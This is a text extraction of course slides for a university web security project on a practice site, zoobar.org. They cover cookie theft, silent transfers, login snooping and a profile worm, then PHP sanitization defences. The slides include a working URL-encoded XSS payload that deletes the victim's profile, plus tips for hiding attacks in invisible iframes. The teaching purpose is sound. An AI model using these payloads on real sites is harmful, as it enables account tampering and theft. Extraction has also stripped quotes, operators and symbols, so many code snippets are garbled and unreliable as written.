Project 2: Web App Security

1
Project 2 Web App Security
CS 155
Spring 2006

• Collin Jackson

2
Deadlines
3
Part 1

• Attacks

4
Overview

• Explore several
• attack types
• Requires both
• effectiveness
• and stealth
• Learn
• How an attacker can evade sanitization
• Consequences of an exploit
• JavaScript
• Very basic CSS

5
Attacks

• Attack A Cookie Theft
• Use URL encoding
• Could hijack session
• Attack C Login Snooping
• Evade sanitization
• Handle DOM events

• Attack B Silent Transfer
• Navigate browser
• Use iframes, forms
• Attack D Profile Worm
• Confuse site scripts
• Replicate

form
email
link
zoobar.org
zoobar.org
badguy.com
redirect
stanford.edu
form
badguy.com
email
zoobar.org
zoobar.org
6
JavaScript

• Browser scripting language with C-like syntax
• Sandboxed, garbage collected
• Closures
• var x 3 var y function() alert(x)
  return y
• Encapsulation/objects
• function X() this.y 3 var z new X()
  alert(z.y)
• Can interpret data as code (eval)
• Browser-dependent

7
Invoking JavaScript

• Tags ltscriptgtalert( Hello world! )lt/scriptgt
• Links javascriptalert( Hello world! )
• Wrap code in void if it has return value
• Event handlers
• ltform onsubmitalert( Hello world! )gt
• ltiframe onloadalert( Hello world! )gt
• CSS (IE only)
• ltstylegtbody background url(javascriptalert(
  Hello world! ))
• lt/stylegt

8
DOM Manipulation Examples

• document.getElementByID(id)
• document.getElementsByTagName(tag)
• document.write(htmltext)
• document.createElement(tagname)
• document.body.appendChild(node)
• document.formsindex.fieldname.value
• document.formname.fieldname.value
• frame.contentDocument.getElementById(id)

9
Arrays and Loops

• Example Change href of all links on a page
• var links document.getElementsByTagName(a)
• for(var i 0 i lt links.length i)
• var link linksi
• link.href javascriptalert(Sorry!)

10
Other Useful Functions

• Navigation
• document.location
• document.formname.submit()
• document.forms0.submitfield.click()
• Delayed Events
• node.addEventListener(eventname, handler,
  useCapture)
• node.removeEventListener(eventname, handler,
  useCapture)
• window.setTimeout(handler, milliseconds)

11
Stealthy Styles

• var node document.getElementByID(mynodeid)
• node.style.display none // may not load at
  all
• node.style.visibility hidden // still takes
  up space
• node.style.position absolute // not included
  in flow
• document.write( // can also write CSS rules to
  page
• ltstylegtmynodeid visibilityhidden
  lt/stylegt)

12
Example Profile Deleter
???

• Malicious hyperlink deletes
• profile of user who clicks it
• Only works when user logged in
• User might have multiple tabs open
• Might have chosen/forgotten not to log out
• Might appear in another users profile
• Uses vulnerability in users.php from Attack A
• Constructs profile deletion form and submits it

13
Find vulnerability
Site reflects query parameter in input field
Link can include anything we want here
14
Copy form data
View source to find form fields
Create copycat form with our modifications
15
URL encode
Close previous ltinputgt, ltformgt
Button click triggers form submit
16
Debugging
It didnt work.
Open JavaScript console
Check error
Undefined ? No properties!
Two forms with same name
17
Fixed version
Now with correct form
18
Final Test
http//zoobar.org/users.php?user223E3C2Fform
3E3Cform20method3D22POST2220name3Dprofilefo
rm 0D2020action3D222Findex2Ephp223E0D3C
textarea20name3D22profile5Fupdate223E3C 2F
textarea3E3Cbr2F3E0D3Cinput20type3Dsubmit
20name3D22profile5Fsubmit2220value3D22 Save
20Profile223E3C2Fform3E0D3Cscript3Edocume
nt2Eforms5B15D2Eprofile5Fsubmit2Eclick28 2
93C2Fscript3E
users.php replaced with index.php
Profile deleted
19
Stealthier approaches

• Post form into hidden iframe
• ltform nameF action/index.php targetmyframegt
• ltiframe namemyframe stylevisibilityhiddengt
• Open page with form in hidden iframe
• ltiframe namemyframe stylevisibilityhiddengt
• ltscriptgtdocument.myframe.contentDocument.forms0
• .profile_update.value
  lt/scriptgt

20
Part 2

• Defenses

21
Goals

• Learn
• How easy it is to make mistakes
• That even simple code can be hard to secure
• Techniques for appropriate input validation
• PHP
• Very basic SQL

Little programming knowledge can be a dangerous
thing
22
PHP Hypertext Preprocessor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code
• ltinput valuelt?php echo myvalue ?gtgt
• Encapsulation/objects
• class X var y 3 z new X() echo
  z-gty
• Can embed variables in double-quote strings
• user world echo Hello user!
• or user world echo Hello . user . !
• Form data in global arrays _GET, _POST,

23
SQL

• Widely used database query language
• Fetch a set of records
• SELECT FROM Person WHERE Usernamegrader
• Add data to the table
• INSERT INTO Person (Username, Zoobars)
• VALUES (grader, 10)
• Modify data
• UPDATE Person SET Zoobars42 WHERE PersonID5
• Query syntax (mostly) independent of vendor

24
File structure

• index.php
• users.php
• transfer.php
• login.php
• includes/
• auth.php (cookie authentication)
• common.php (includes everything else)
• navigation.php (site template)
• db/
• zoobar/
• Person.txt (must be writable by web server)
• Includes /usr/class/cs155/projects/pp2/txt-db-api/
  

Only edit these files
25
txt-db-api

• Third-party text file database library
• Data can be int, string, and autoincrement
• Need to escape strings \ \ \\
• Actually magic_quotes_gpc does this for us
• recipient _POSTrecipient // already
  escaped
• sql "SELECT PersonID FROM Person WHERE
  Username'recipient'"
• rs db-gtexecuteQuery(sql)
• if( rs-gtnext() )
• id rs-gtgetCurrentValueByName(PersonID)

26
Defenses to Part 1

• Attack A Cookie Theft
• Attack C Login Snooping

• Attack B Silent Transfer
• Attack D Profile Worm

27
Sanitization Techniques

• addslashes(string)
• Already done by magic_quotes_gpc
• Inverse stripslashes(string)
• htmlspecialchars(string , quote_style)
• Converts lt gt to HTML entities
• Use ENT_QUOTES to change to 039
• strip_tags(string, , allowable_tags)
• Max tag length 1024
• Does not sanitize tag properties
• preg_replace(pattern, replacement, subject)
• More info http//php.net

28
More XSS hunting

• Look for untrusted input used as output
• Note sanitization already applied to each
  variable
• Form data has magic_quotes_gpc, db data does not
• Determine browser context for output
• Inside a quoted string within a tag worry about
  
• Outside a tag worry about lt gt
• Input to eval very dangerous
• Sanitize the output if necessary
• No penalty for erring on the side of caution
• But sanitizing multiple times may lead to
  problems
• No credit for solving non-goals SQL injection,
  etc.

29
Good luck!

• Start early
• Ask questions
• Be creative